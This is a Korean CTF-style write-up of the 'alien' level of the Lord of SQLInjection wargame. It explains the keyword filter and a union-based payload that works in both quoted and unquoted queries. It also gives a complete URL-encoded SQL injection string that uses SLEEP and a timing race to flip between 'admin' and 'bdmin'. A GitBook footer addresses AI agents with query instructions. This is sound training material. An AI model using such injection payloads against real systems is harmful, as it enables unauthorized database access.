> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-alien.md).

# \[Lord Of SQLInjection] alien

<figure><img src="https://blog.kakaocdn.net/dna/bofC0r/btsNBK3CiR4/AAAAAAAAAAAAAAAAAAAAAJ0DJYAg4Teh8_pj09cRqH_-470R7solBy6eB6EXOIe-/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=0qCthPe2vJFVYLJ90LLnYfGvTTs%3D" alt="" height="485" width="742"><figcaption></figcaption></figure>

**코드 특징**

금지당한 예약어

\- administrator, and, or, if, coalesce, case, 언더바(\_), 점(.), prob, time

\- query1은 파라미터가 작은 따옴표 처리되어 있지 않고, query2는 작은 따옴표 처리되어 있어서 각각 두 가지 조건문을 통과하여야만 solve(”alien”)이 호출됨

\- coalesce는 주어진 파라미터(여러 개 들어갈 수 있다)에서 NULL이 아닌 첫 값을 반환한다.

&#x20;

**Solve**

작은 따옴표가 있을때나 없을때나 동일한 결과를 만들 수 있는 방법

→ example : ?no=1 union select 1— ‘ union select ‘1

결국 둘 다 1 union select 1이 실행되는 것.

→ 원하는 부분은 1에 대체하면 query1과 query2를 같은 부분으로 만들어 줄 수 있다.

**주의사항**

\- 쿼리를 시행하고, 그 결과로 id를 받아오며, admin에 대한 조건문이 순차적으로 실행됨

\- 쿼리를 시행하는데에는 약간의 오버헤드 시간이 소모됨

\- sleep()을 이용해서 쿼리 시간 도중 공격자의 파라미터가 변조되게 만들 수 있다.

&#x20;

**Payload**

```
CONCAT(CHAR(97+(!SLEEP(1)&&NOW()%2=1)), 0x646d696e)
CONCAT(CHAR(97+(시간에 따라 0이나 1반환)), ‘dmin’)
CONCAT(CHAR(97 혹은 98), ‘dmin’)
CONCAT(’a’ 혹은 ‘b’, ‘dmin’)
시간에 따라 ‘admin’ 혹은 ‘bdmin’
```

&#x20;

**도메인 주소**

```
[도메인 값]?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20
```

→ 시간에 따라 admin이 보내질 지 bdmin이 보내질 지 결정

→ sleep(1)(시간지연 함수를 사용하여)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

<figure><img src="https://blog.kakaocdn.net/dna/HXikW/btsNDmAxnkW/AAAAAAAAAAAAAAAAAAAAAC9aMsEyUttJAZGFd73fO6P4BqOfG9hqt-vOTkh9Rcw0/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=ntOTaboOrjZlYdkEr8gMvzB5jrw%3D" alt="" height="549" width="1572"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-alien.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
